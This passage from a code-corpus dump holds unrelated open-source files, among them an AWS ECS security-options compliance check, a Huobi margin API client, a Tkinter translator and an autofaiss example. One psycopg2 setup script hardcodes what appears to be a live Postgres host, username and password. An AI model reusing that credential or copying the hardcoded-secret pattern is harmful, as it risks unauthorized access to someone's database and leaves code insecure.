\"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.4] ECS Task Definitions for EC2 should have Docker Security Options (SELinux or AppArmor) configured\",\n \"Description\": \"ECS Container Definition \"\n + cdefName\n + \" in Task Definition \"\n + taskDefinitionArn\n + \" has Docker Security Options configured.\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"Containers running on EC2 Compute-types should have Docker Security Options configured. Refer to the Task definition parameters Security section of the Amazon Elastic Container Service Developer Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html#container_definitions\"\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsTaskDefinition\",\n \"Id\": taskDefinitionArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\n \"Other\": {\n \"Family\": tdefFamily,\n \"ContainerDefinitionName\": cdefName,\n 'DockerSecurityOptions': secOpts\n }\n }\n }\n ],\n \"Compliance\": {\n \"Status\": \"PASSED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.IP-1\",\n \"NIST SP 800-53 CM-2\",\n \"NIST SP 800-53 CM-3\",\n \"NIST SP 800-53 CM-4\",\n \"NIST SP 800-53 CM-5\",\n \"NIST SP 800-53 CM-6\",\n \"NIST SP 800-53 CM-7\",\n \"NIST SP 800-53 CM-9\",\n \"NIST SP 800-53 SA-10\",\n \"AICPA TSC A1.3\",\n \"AICPA TSC CC1.4\",\n \"AICPA TSC CC5.3\",\n \"AICPA TSC CC6.2\",\n \"AICPA TSC CC7.1\",\n \"AICPA TSC CC7.3\",\n \"AICPA TSC CC7.4\",\n \"ISO 27001:2013 A.12.1.2\",\n \"ISO 27001:2013 A.12.5.1\",\n \"ISO 27001:2013 A.12.6.2\",\n \"ISO 27001:2013 A.14.2.2\",\n \"ISO 27001:2013 A.14.2.3\",\n \"ISO 27001:2013 A.14.2.4\",\n ],\n },\n \"Workflow\": {\"Status\": \"RESOLVED\"},\n \"RecordState\": \"ARCHIVED\"\n }\n yield finding\n except:\n secOpts = str('[\"NO_OPTIONS\"]')\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": taskDefinitionArn + \"/\" + cdefName + \"/ecs-task-definition-security-labels-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": taskDefinitionArn + \"/\" + cdefName,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"HIGH\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.4] ECS Task Definitions for EC2 should have Docker Security Options (SELinux or AppArmor) configured\",\n \"Description\": \"ECS Container Definition \"\n + cdefName\n + \" in Task Definition \"\n + taskDefinitionArn\n + \" does not have any Docker Security Options configured. Refer to the remediation instructions to remediate this behavior\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"Containers running on EC2 Compute-types should have Docker Security Options configured. Refer to the Task definition parameters Security section of the Amazon Elastic Container Service Developer Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html#container_definitions\"\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsTaskDefinition\",\n \"Id\": taskDefinitionArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\n \"Other\": {\n \"Family\": tdefFamily,\n \"ContainerDefinitionName\": cdefName,\n 'DockerSecurityOptions': secOpts\n }\n }\n }\n ],\n \"Compliance\": {\n \"Status\": \"FAILED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.IP-1\",\n \"NIST SP 800-53 CM-2\",\n \"NIST SP 800-53 CM-3\",\n \"NIST SP 800-53 CM-4\",\n \"NIST SP 800-53 CM-5\",\n \"NIST SP 800-53 CM-6\",\n \"NIST SP 800-53 CM-7\",\n \"NIST SP 800-53 CM-9\",\n \"NIST SP 800-53 SA-10\",\n \"AICPA TSC A1.3\",\n \"AICPA TSC CC1.4\",\n \"AICPA TSC CC5.3\",\n \"AICPA TSC CC6.2\",\n \"AICPA TSC CC7.1\",\n \"AICPA TSC CC7.3\",\n \"AICPA TSC CC7.4\",\n \"ISO 27001:2013 A.12.1.2\",\n \"ISO 27001:2013 A.12.5.1\",\n \"ISO 27001:2013 A.12.6.2\",\n \"ISO 27001:2013 A.14.2.2\",\n \"ISO 27001:2013 A.14.2.3\",\n \"ISO 27001:2013 A.14.2.4\",\n ],\n },\n \"Workflow\": {\"Status\": \"NEW\"},\n \"RecordState\": \"ACTIVE\"\n }\n yield finding\n except Exception as e:\n print(e)", "source": "kbhagi/ElectricEye", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 12 13:34:49 2020\n\n@author: lukepinkel\n\"\"\"\nimport numpy as np\nimport scipy as sp\nimport scipy.special\n\ndef poisson_logp(x, mu, logp=True):\n p = sp.special.xlogy(x, mu) - sp.special.gammaln(x + 1) - mu\n if logp==False:\n p = np.exp(p)\n return p\n ", "source": "lukepinkel/pylmm", "license": "MIT"} {"text": "import psycopg2\n\nurl = \"dbname='da43n1slakcjkc' user='msqgxzgmcskvst' host='ec2-54-80-184-43.compute-1.amazonaws.com' port=5432 password='9281f925b1e2298e8d62812d9d4e430c1054db62e918c282d7039fa85b1759fa'\"\n\nclass database_setup(object):\n\n def __init__(self):\n self.conn = psycopg2.connect(url)\n self.cursor = self.conn.cursor()\n\n def destroy_tables(self):\n self.cursor.execute(\"\"\"DROP TABLE IF EXISTS user CASCADE;\"\"\")\n\n self.conn.commit()\n\n def create_tables(self):\n self.cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS Users (\n user_id SERIAL NOT NULL,\n fname VARCHAR(25) NOT NULL,\n lname VARCHAR(25) NOT NULL,\n post_date DATE NOT NULL DEFAULT CURRENT_DATE,\n email VARCHAR(50) UNIQUE NOT NULL,\n password VARCHAR(256) NOT NULL,\n photo VARCHAR(255) NOT NULL,\n PRIMARY KEY (email)\n );\"\"\")\n\n\n self.cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS Report (\n report_id SERIAL NOT NULL,\n num_tweet INT NOT NULL,\n tweet VARCHAR(255) NOT NULL,\n plot_bar VARCHAR(255) NOT NULL,\n plot_pie VARCHAR(255) NOT NULL,\n post_date DATE NOT NULL DEFAULT CURRENT_DATE,\n email VARCHAR(50) REFERENCES Users(email) NOT NULL,\n PRIMARY KEY (report_id)\n );\"\"\")\n\n\n self.cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS Config (\n config_id SERIAL NOT NULL,\n consumerKey TEXT NOT NULL,\n consumerSecret TEXT NOT NULL,\n accessToken TEXT NOT NULL,\n accessSecret TEXT NOT NULL,\n email VARCHAR(50) REFERENCES Users(email) NOT NULL,\n PRIMARY KEY (config_id)\n );\"\"\")\n\n self.conn.commit()\n", "source": "bmugenya/Zup", "license": "MIT"} {"text": "# O(n ** 2)\ndef bubble_sort(slist, asc=True):\n need_exchanges = False\n for iteration in range(len(slist))[:: -1]:\n for j in range(iteration):\n if asc:\n if slist[j] > slist[j + 1]:\n need_exchanges = True\n slist[j], slist[j + 1] = slist[j + 1], slist[j]\n else:\n if slist[j] < slist[j + 1]:\n need_exchanges = True\n slist[j], slist[j + 1] = slist[j + 1], slist[j]\n if not need_exchanges:\n return slist\n return slist\n\n\nprint(bubble_sort([8, 1, 13, 34, 5, 2, 21, 3, 1], False))\nprint(bubble_sort([1, 2, 3, 4, 5, 6]))\n", "source": "Krylovsentry/Algorithms", "license": "MIT"} {"text": "import discord\n\ndef check(ctx):\n def inner(m):\n return m.author == ctx.author\n return inner\n\ndef Membercheck(ctx):\n def inner(m):\n return m.author == ctx.guild.me\n return inner\n\ndef warn_permission(ctx, Member):\n if isinstance(ctx.channel, discord.TextChannel):\n \n return ctx.author.guild_permissions.manage_messages and ctx.author.top_role > Member.top_role and ctx.author.guild_permissions >= Member.guild_permissions\n #bug with user with same permissions maybe and other stuff(seems fixed for right now, leaving note just in case.)\n \n\n if isinstance(ctx.channel, discord.DMChannel):\n return True\n\n\ndef cleanup_permission(ctx):\n if isinstance(ctx.channel, discord.TextChannel):\n return ctx.author.guild_permissions.manage_messages\n\n if isinstance(ctx.channel, discord.DMChannel):\n return True\n\ndef mutual_guild_check(ctx, user):\n mutual_guilds = set(ctx.author.mutual_guilds)\n mutual_guilds2 = set(user.mutual_guilds)\n\n return bool(mutual_guilds.intersection(mutual_guilds2))\n\nasync def filter_commands(ctx, command_list):\n async def check(cmd, ctx):\n try:\n return await cmd.can_run(ctx)\n\n except:\n return False\n \n return [cmd for cmd in command_list if await check(cmd, ctx)]", "source": "JDJGInc/JDBot", "license": "MIT"} {"text": "\nfrom huobi.utils.input_checker import *\n\n\nclass MarginClient(object):\n\n def __init__(self, **kwargs):\n \"\"\"\n Create the request client instance.\n :param kwargs: The option of request connection.\n api_key: The public key applied from Huobi.\n secret_key: The private key applied from Huobi.\n url: The URL name like \"https://api.huobi.pro\".\n init_log: to init logger\n \"\"\"\n self.__kwargs = kwargs\n\n def post_transfer_in_margin(self, symbol: 'str', currency: 'str', amount: 'float') -> int:\n \"\"\"\n Transfer asset from spot account to margin account.\n\n :param symbol: The symbol, like \"btcusdt\". (mandatory)\n :param currency: The currency of transfer. (mandatory)\n :param amount: The amount of transfer. (mandatory)\n :return:\n \"\"\"\n check_symbol(symbol)\n check_should_not_none(currency, \"currency\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"symbol\": symbol,\n \"currency\": currency,\n \"amount\": amount\n }\n\n from huobi.service.margin.post_transfer_in_margin import PostTransferInMarginService\n return PostTransferInMarginService(params).request(**self.__kwargs)\n\n def post_transfer_out_margin(self, symbol: 'str', currency: 'str', amount: 'float') -> int:\n \"\"\"\n Transfer asset from margin account to spot account.\n\n :param symbol: The symbol, like \"btcusdt\". (mandatory)\n :param currency: The currency of transfer. (mandatory)\n :param amount: The amount of transfer. (mandatory)\n :return:\n \"\"\"\n check_symbol(symbol)\n check_should_not_none(currency, \"currency\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"symbol\": symbol,\n \"currency\": currency,\n \"amount\": amount\n }\n\n from huobi.service.margin.post_transfer_out_margin import PostTransferOutMarginService\n return PostTransferOutMarginService(params).request(**self.__kwargs)\n\n def get_margin_account_balance(self, symbol: 'str') -> list:\n \"\"\"\n Get the Balance of the Margin Loan Account.\n\n :param symbol: The currency, like \"btc\". (mandatory)\n :return: The margin loan account detail list.\n \"\"\"\n check_symbol(symbol)\n\n params = {\n \"symbol\": symbol\n }\n\n from huobi.service.margin.get_margin_account_balance import GetMarginAccountBalanceService\n return GetMarginAccountBalanceService(params).request(**self.__kwargs)\n\n def post_create_margin_order(self, symbol: 'str', currency: 'str', amount: 'float') -> int:\n \"\"\"\n Submit a request to borrow with margin account.\n\n :param symbol: The trading symbol to borrow margin, e.g. \"btcusdt\", \"bccbtc\". (mandatory)\n :param currency: The currency to borrow,like \"btc\". (mandatory)\n :param amount: The amount of currency to borrow. (mandatory)\n :return: The margin order id.\n \"\"\"\n check_symbol(symbol)\n check_should_not_none(currency, \"currency\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"symbol\": symbol,\n \"currency\" : currency,\n \"amount\" : amount\n }\n\n from huobi.service.margin.post_create_margin_order import PostCreateMarginOrderService\n return PostCreateMarginOrderService(params).request(**self.__kwargs)\n\n def post_repay_margin_order(self, loan_id: 'int', amount: 'float') -> int:\n \"\"\"\n Get the margin loan records.\n\n :param load_id: The previously returned order id when loan order was created. (mandatory)\n :param amount: The amount of currency to repay. (mandatory)\n :return: The margin order id.\n \"\"\"\n check_should_not_none(loan_id, \"loan_id\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"loan_id\": loan_id,\n \"amount\": amount\n }\n\n from huobi.service.margin.post_repay_margin_order import PostRepayMarginOrderService\n return PostRepayMarginOrderService(params).request(**self.__kwargs)\n\n def get_margin_loan_orders(self, symbol: 'str', start_date: 'str' = None, end_date: 'str' = None,\n states: 'LoanOrderState' = None, from_id: 'int' = None,\n size: 'int' = None, direction: 'QueryDirection' = None) -> list:\n \"\"\"\n Get the margin loan records.\n\n :param symbol: The symbol, like \"btcusdt\" (mandatory).\n :param start_date: The search starts date in format yyyy-mm-dd. (optional).\n :param end_date: The search end date in format yyyy-mm-dd.(optional, can be null).\n :param states: The loan order states, it could be created, accrual, cleared or invalid. (optional)\n :param from_id: Search order id to begin with. (optional)\n :param size: The number of orders to return.. (optional)\n :param direction: The query direction, prev or next. (optional)\n :return: The list of the margin loan records.\n \"\"\"\n\n check_symbol(symbol)\n start_date = format_date(start_date, \"start_date\")\n end_date = format_date(end_date, \"end_date\")\n\n params = {\n \"symbol\" : symbol,\n \"start-date\" : start_date,\n \"end-date\" : end_date,\n \"states\" : states,\n \"from\" : from_id,\n \"size\" : size,\n \"direct\" : direction\n }\n\n from huobi.service.margin.get_margin_loan_orders import GetMarginLoanOrdersService\n return GetMarginLoanOrdersService(params).request(**self.__kwargs)\n\n def get_margin_loan_info(self, symbols: 'str'=None) -> list:\n \"\"\"\n The request of get margin loan info, can return currency loan info list.\n\n :param symbols: The symbol, like \"btcusdt,htusdt\". (optional)\n :return: The cross margin loan info.\n \"\"\"\n\n check_symbol(symbols)\n params = {\n \"symbols\" : symbols\n }\n\n from huobi.service.margin.get_margin_loan_info import GetMarginLoanInfoService\n return GetMarginLoanInfoService(params).request(**self.__kwargs)\n\n def get_cross_margin_loan_info(self) -> list:\n \"\"\"\n The request of currency loan info list.\n\n :return: The cross margin loan info list.\n \"\"\"\n params = {}\n\n from huobi.service.margin.get_cross_margin_loan_info import GetCrossMarginLoanInfoService\n return GetCrossMarginLoanInfoService(params).request(**self.__kwargs)\n\n\n def post_cross_margin_transfer_in(self, currency: 'str', amount:'float') -> int:\n \"\"\"\n transfer currency to cross account.\n\n :param currency: currency name (mandatory)\n :param amount: transfer amount (mandatory)\n :return: return transfer id.\n \"\"\"\n check_should_not_none(currency, \"currency\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"amount\": amount,\n \"currency\": currency\n }\n\n from huobi.service.margin.post_cross_margin_transfer_in import PostCrossMarginTransferInService\n return PostCrossMarginTransferInService(params).request(**self.__kwargs)\n\n def post_cross_margin_transfer_out(self, currency: 'str', amount:'float') -> int:\n \"\"\"\n transfer currency to cross account.\n\n :param currency: currency name (mandatory)\n :param amount: transfer amount (mandatory)\n :return: return transfer id.\n \"\"\"\n check_should_not_none(currency, \"currency\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"amount\": amount,\n \"currency\": currency\n }\n\n from huobi.service.margin.post_cross_margin_transfer_out import PostCrossMarginTransferOutService\n return PostCrossMarginTransferOutService(params).request(**self.__kwargs)\n\n def post_cross_margin_create_loan_orders(self, currency:'str', amount: 'float') -> int:\n \"\"\"\n create cross margin loan orders\n\n :param currency: currency name (mandatory)\n :param amount: transfer amount (mandatory)\n :return: return order id.\n \"\"\"\n\n check_should_not_none(currency, \"currency\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"amount\": amount,\n \"currency\": currency\n }\n\n from huobi.service.margin.post_cross_margin_create_loan_orders import PostCrossMarginCreateLoanOrdersService\n return PostCrossMarginCreateLoanOrdersService(params).request(**self.__kwargs)\n\n def post_cross_margin_loan_order_repay(self, order_id: 'str', amount: 'float'):\n \"\"\"\n repay cross margin loan orders\n\n :param order_id: order_id for loan (mandatory)\n :param amount: transfer amount (mandatory)\n :return: return order id.\n \"\"\"\n\n check_should_not_none(order_id, \"order-id\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"amount\": amount,\n \"order-id\": order_id\n }\n\n from huobi.service.margin.post_cross_margin_loan_order_repay import PostCrossMarginLoanOrderRepayService\n return PostCrossMarginLoanOrderRepayService(params).request(**self.__kwargs)\n\n def get_cross_margin_loan_orders(self, currency: 'str' = None, state: 'str' = None,\n start_date: 'str' = None, end_date: 'str' = None,\n from_id: 'int' = None, size: 'int' = None, direct: 'str' = None,\n sub_uid: 'int' = None) -> list:\n \"\"\"\n get cross margin loan orders\n\n :return: return list.\n \"\"\"\n params = {\n \"currency\": currency,\n \"state\": state,\n \"start-date\": start_date,\n \"end-date\": end_date,\n \"from\": from_id,\n \"size\": size,\n \"direct\": direct,\n \"sub-uid\": sub_uid\n }\n\n from huobi.service.margin.get_cross_margin_loan_orders import GetCrossMarginLoanOrdersService\n return GetCrossMarginLoanOrdersService(params).request(**self.__kwargs)\n\n def get_cross_margin_account_balance(self, sub_uid:'int'=None):\n \"\"\"\n get cross margin account balance\n\n :return: cross-margin account.\n \"\"\"\n params = {\n \"sub-uid\": sub_uid\n }\n\n from huobi.service.margin.get_cross_margin_account_balance import GetCrossMarginAccountBalanceService\n return GetCrossMarginAccountBalanceService(params).request(**self.__kwargs)", "source": "codemonkey89/huobi_Python", "license": "Apache-2.0"} {"text": "import re\nfrom .._compat import integer_types, long\nfrom .base import SQLAdapter\nfrom . import adapters\n\n\n@adapters.register_for(\"sapdb\")\nclass SAPDB(SQLAdapter):\n dbengine = \"sapdb\"\n drivers = (\"sapdb\",)\n\n REGEX_URI = (\n \"^(?P[^:@]+)(:(?P[^@]*))?\"\n r\"@(?P[^:/]+|\\[[^\\]]+\\])/(?P[^?]+)$\"\n )\n\n def _initialize_(self):\n super(SAPDB, self)._initialize_()\n ruri = self.uri.split(\"://\", 1)[1]\n m = re.match(self.REGEX_URI, ruri)\n if not m:\n raise SyntaxError(\"Invalid URI string in DAL\")\n user = self.credential_decoder(m.group(\"user\"))\n password = self.credential_decoder(m.group(\"password\"))\n if password is None:\n password = \"\"\n host = m.group(\"host\")\n db = m.group(\"db\")\n self.driver_args.update(user=user, password=password, database=db, host=host)\n\n def connector(self):\n self.driver.connect(**self.driver_args)\n\n def lastrowid(self, table):\n self.execute(\"select %s.NEXTVAL from dual\" % table._sequence_name)\n return long(self.cursor.fetchone()[0])\n\n def create_sequence_and_triggers(self, query, table, **args):\n self.execute(\"CREATE SEQUENCE %s;\" % table._sequence_name)\n self.execute(\n \"ALTER TABLE %s ALTER COLUMN %s SET DEFAULT NEXTVAL('%s');\"\n % (table._rname, table._id._rname, table._sequence_name)\n )\n self.execute(query)\n", "source": "GeorgesBrantley/ResistanceGame", "license": "BSD-3-Clause"} {"text": "from wpc.report.issue import issue\nimport xml.etree.cElementTree as etree\nfrom lxml import etree as letree\nfrom operator import itemgetter, attrgetter, methodcaller\n\n\n# TODO should this class contain info about the scan? or define a new class called report?\n# Version of script\n# Date, time of audit\n# Who the audit ran as (username, groups, privs)\n# ...\nclass issues:\n def __init__(self):\n self.issues = []\n\n def get_by_id(self, identifier):\n # search for issue\n for i in self.issues:\n if i.get_id() == identifier:\n return i\n\n # create new issue\n i = issue(identifier)\n self.add_issue(i)\n return i\n\n def add_issue(self, i):\n self.issues.append(i)\n\n def add_supporting_data(self, identifier, k, v):\n self.get_by_id(identifier).add_supporting_data(k, v)\n\n def get_all(self):\n s = sorted(self.issues, key=methodcaller('get_confidence'), reverse=True)\n return sorted(s, key=methodcaller('get_severity'), reverse=True)\n\n def as_xml_string(self):\n return etree.tostring(self.as_xml())\n\n def as_xml(self):\n r = etree.Element('issues')\n for i in self.get_all():\n r.append(i.as_xml())\n return r\n\n def as_text(self):\n xslt_fh = open('xsl/text.xsl', 'r') # TODO need to be able to run from other dirs too!\n xslt_str = xslt_fh.read()\n xslt_fh.close()\n xslt_root = letree.XML(xslt_str)\n transform = letree.XSLT(xslt_root)\n return str(transform(letree.XML(self.as_xml_string())))\n\n def as_html(self):\n xslt_fh = open('xsl/html.xsl', 'r') # TODO need to be able to run from other dirs too!\n xslt_str = xslt_fh.read()\n xslt_fh.close()\n xslt_root = letree.XML(xslt_str)\n transform = letree.XSLT(xslt_root)\n return str(transform(letree.XML(self.as_xml_string())))\n", "source": "cys3c/viper-shell", "license": "PSF-2.0"} {"text": "from django.apps import AppConfig\n\n\nclass CmspluginMarkdownConfig(AppConfig):\n name = 'cmsplugin_markdown'\n", "source": "glomium/cmstemplate", "license": "BSD-3-Clause"} {"text": "#!/usr/bin/python3\n\nimport tkinter as tk\nfrom tkinter import messagebox as msg\nfrom tkinter.ttk import Notebook\nfrom tkinter import ttk\nimport tkinter.font as font\n\nimport requests\n\n\nclass LanguageTab(tk.Frame):\n def __init__(self, master, lang_name, lang_code):\n super().__init__(master)\n\n # fonts for all widgets\n self.option_add(\"*Font\", (\"courier\",16, 'bold')) \n # font to use for label widgets\n self.option_add(\"*Label.Font\", (\"arial\",12))\n # font to use for label widgets\n self.option_add(\"*Button.Font\", (\"arial\",14, 'bold'))\n self.option_add(\"*Tab.Font\", (\"arial\",14, 'bold'))\n self.option_add(\"*Frame.Font\", (\"courier\",14, 'bold'))\n self.lang_name = lang_name\n self.lang_code = lang_code\n self.translation_var = tk.StringVar(self)\n self.translation_var.set(\"\")\n self.copy_button = tk.Button(self, text=\"Copy to Clipboard\", command=self.copy_to_clipboard)\n #self.copy_button.pack(side=tk.BOTTOM, fill=tk.X)\n self.translated_label = tk.Label(self, textvar=self.translation_var, bg=\"lightgrey\", fg=\"black\") \n #self.translated_label.pack(side=tk.TOP, fill=tk.BOTH, expand=1)\n\n\n def copy_to_clipboard(self):\n root = self.winfo_toplevel()\n root.clipboard_clear()\n root.clipboard_append(self.translation_var.get())\n msg.showinfo(\"Copied Successfully\", \"Text copied to clipboard\")\n\n\nclass NewLanguageForm(tk.Toplevel):\n def __init__(self, master):\n super().__init__()\n self.master = master\n self.title(\"Add new Language\")\n self.geometry(\"500x200\")\n self.name_label = tk.Label(self, text=\"Language Name\")\n self.name_entry = tk.Entry(self, bg=\"white\", fg=\"black\")\n self.code_label = tk.Label(self, text=\"Language Code\")\n self.code_entry = tk.Entry(self, bg=\"white\", fg=\"black\")\n self.submit_button = tk.Button(self, text=\"Submit\", command=self.submit)\n self.name_label.pack(fill=tk.BOTH, expand=1)\n self.name_entry.pack(fill=tk.BOTH, expand=1)\n self.code_label.pack(fill=tk.BOTH, expand=1)\n self.code_entry.pack(fill=tk.BOTH, expand=1)\n self.submit_button.pack(fill=tk.X)\n\n def submit(self):\n lang_name = self.name_entry.get()\n lang_code = self.code_entry.get()\n\n if lang_name and lang_code:\n new_tab = LanguageTab(self.master, lang_name, lang_code)\n self.master.languages_menu.add_command(label=lang_name, command=lambda: self.master.add_new_tab(new_tab))\n msg.showinfo(\"Language Option Added\", \"Language option \" + lang_name + \" added to menu\")\n self.destroy()\n else:\n msg.showerror(\"Missing Information\", \"Please add both a name and code\")\n\n\nclass TranslateBook(tk.Tk):\n def __init__(self):\n super().__init__()\n self.title(\"Translation Book v3\")\n self.geometry(\"1000x700\")\n \n # fonts for all widgets\n self.option_add(\"*Font\", (\"courier\",16, 'bold')) \n # font to use for label widgets\n self.option_add(\"*Label.Font\", (\"arial\",12))\n # font to use for label widgets\n self.option_add(\"*Button.Font\", (\"arial\",14, 'bold'))\n self.option_add(\"*Tab.Font\", (\"arial\",14, 'bold'))\n self.option_add(\"*Frame.Font\", (\"courier\",14, 'bold'))\n\n self.notestyle = ttk.Style()\n self.notestyle.configure(\"TNotebook.Tab\", borderwidth=2, font = (\"times\",18), padding=(15, 7))\n\n self.myFont2 = font.Font(size=16)\n self.menu = tk.Menu(self, bg=\"lightgrey\", fg=\"black\")\n self.languages_menu = tk.Menu(self.menu, tearoff=0, bg=\"lightgrey\", fg=\"black\")\n self.languages_menu.add_command(label=\"Add New\", command=self.show_new_language_popup)\n self.languages_menu.add_command(label=\"Franc\u00e9s\", command=lambda: self.add_new_tab(LanguageTab(self, \"Franc\u00e9s\", \"fr\")))\n self.languages_menu.add_command(label=\"Catalan\", command=lambda: self.add_new_tab(LanguageTab(self, \"Catalan\", \"ca\")))\n self.languages_menu.add_command(label=\"Portugues\", command=lambda: self.add_new_tab(LanguageTab(self, \"Portugues\", \"pt\")))\n self.languages_menu.add_command(label=\"Aleman\", command=lambda: self.add_new_tab(LanguageTab(self, \"Aleman\", \"de\")))\n self.languages_menu['font'] = self.myFont2\n self.menu.add_cascade(label=\"Languages\", menu=self.languages_menu)\n self.config(menu=self.menu)\n self.notebook = Notebook(self)\n self.language_tabs = []\n spanish_tab = tk.Frame(self.notebook)\n myFont = font.Font(family = 'courier', size=18, weight = 'bold')\n self.translate_button = tk.Button(spanish_tab, text=\"Translate\", command=self.translate, height = 2) \n self.translate_button.pack(side=tk.BOTTOM, fill=tk.X)\n self.translate_button['font'] = myFont\n self.spanish_entry = tk.Text(spanish_tab, bg=\"white\", fg=\"black\")\n self.spanish_entry.pack(side=tk.TOP, expand=1)\n self.notebook.add(spanish_tab, text=\"Espa\u00f1ol\")\n self.notebook.pack(fill=tk.BOTH, expand=1)\n\n def translate(self, text=None):\n if len(self.language_tabs) < 1:\n msg.showerror(\"No Languages\", \"No languages added. Please add some from the menu\")\n return\n\n if not text:\n text = self.spanish_entry.get(1.0, tk.END).strip()\n\n url = \"https://translate.googleapis.com/translate_a/single?client=gtx&sl={}&tl={}&dt=t&q={}\"\n\n try:\n for language in self.language_tabs:\n full_url = url.format(\"es\", language.lang_code, text)\n r = requests.get(full_url)\n r.raise_for_status()\n translation = r.json()[0][0][0]\n language.translation_var.set(translation)\n msg.showinfo(\"translation\", translation)\n #msg.showinfo(\"Translations Successful\", \"Text successfully translated\")\n except Exception as e:\n msg.showerror(\"Translation Failed\", str(e))\n# else:\n# msg.showinfo(\"Translations Successful\", \"Text successfully translated\")\n\n def add_new_tab(self, tab):\n self.language_tabs.append(tab)\n self.notebook.add(tab, text=tab.lang_name)\n\n try:\n self.languages_menu.entryconfig(tab.lang_name, state=\"disabled\")\n except:\n # language isn't in menu.\n pass\n\n def show_new_language_popup(self):\n NewLanguageForm(self)\n\n\nif __name__ == \"__main__\":\n translatebook = TranslateBook()\n english_tab = LanguageTab(translatebook, \"Ingl\u00e9s\", \"en\")\n translatebook.add_new_tab(english_tab)\n\n# german_tab = LanguageTab(translatebook, \"Alem\u00e1n\", \"de\")\n# translatebook.add_new_tab(german_tab)\n\n translatebook.mainloop()\n\n# c\u00f3digos de lenguages --> https://www.labnol.org/code/19899-google-translate-languages", "source": "Jalagarto/translator", "license": "Apache-2.0"} {"text": "from .snapshots import set_client\nfrom .snapshots import get_snapshots\nfrom .snapshots import tag_snapshot\nfrom .snapshots import set_drymode\nfrom .snapshots import unset_drymode", "source": "gabrielperezs/recycling-snapshots", "license": "Apache-2.0"} {"text": "\"\"\"\nAn example of running autofaiss by pyspark to produce N indices.\n\nYou need to install pyspark before using the following example.\n\"\"\"\nfrom typing import Dict\n\nimport faiss\nimport numpy as np\n\nfrom autofaiss import build_index\n\n# You'd better create a spark session before calling build_index,\n# otherwise, a spark session would be created by autofaiss with the least configuration.\n\n_, index_path2_metric_infos = build_index(\n embeddings=\"hdfs://root/path/to/your/embeddings/folder\",\n distributed=\"pyspark\",\n file_format=\"parquet\",\n temporary_indices_folder=\"hdfs://root/tmp/distributed_autofaiss_indices\",\n current_memory_available=\"10G\",\n max_index_memory_usage=\"100G\",\n nb_indices_to_keep=10,\n)\n\nindex_paths = sorted(index_path2_metric_infos.keys())\n\n###########################################\n# Use case 1: merging 10 indices into one #\n###########################################\nmerged = faiss.read_index(index_paths[0])\nfor rest_index_file in index_paths[1:]:\n index = faiss.read_index(rest_index_file)\n faiss.merge_into(merged, index, shift_ids=False)\nwith open(\"merged-knn.index\", \"wb\") as f:\n faiss.write_index(merged, faiss.PyCallbackIOWriter(f.write))\n\n########################################\n# Use case 2: searching from N indices #\n########################################\nK, DIM, all_distances, all_ids, NB_QUERIES = 5, 512, [], [], 2\nqueries = faiss.rand((NB_QUERIES, DIM))\nfor rest_index_file in index_paths:\n index = faiss.read_index(rest_index_file)\n distances, ids = index.search(queries, k=K)\n all_distances.append(distances)\n all_ids.append(ids)\n\ndists_arr = np.stack(all_distances, axis=1).reshape(NB_QUERIES, -1)\nknn_ids_arr = np.stack(all_ids, axis=1).reshape(NB_QUERIES, -1)\n\nsorted_k_indices = np.argsort(-dists_arr)[:, :K]\nsorted_k_dists = np.take_along_axis(dists_arr, sorted_k_indices, axis=1)\nsorted_k_ids = np.take_along_axis(knn_ids_arr, sorted_k_indices, axis=1)\nprint(f\"{K} nearest distances: {sorted_k_dists}\")\nprint(f\"{K} nearest ids: {sorted_k_ids}\")\n\n\n############################################\n# Use case 3: on disk merging of N indices #\n############################################\n\n\n# using faiss.merge_ondisk (https://github.com/facebookresearch/faiss/blob/30abcd6a865afef7cf86df7e8b839a41b5161505/contrib/ondisk.py )\n# https://github.com/facebookresearch/faiss/blob/151e3d7be54aec844b6328dc3e7dd0b83fcfa5bc/demos/demo_ondisk_ivf.py\n# to merge indices on disk without using memory\n# this is useful in particular to use a very large index with almost no memory usage.\n\nfrom faiss.contrib.ondisk import merge_ondisk\nimport faiss\n\nblock_fnames = index_paths\nempty_index = faiss.read_index(block_fnames[0], faiss.IO_FLAG_MMAP)\nempty_index.ntotal = 0\n\nmerge_ondisk(empty_index, block_fnames, \"merged_index.ivfdata\")\n\nfaiss.write_index(empty_index, 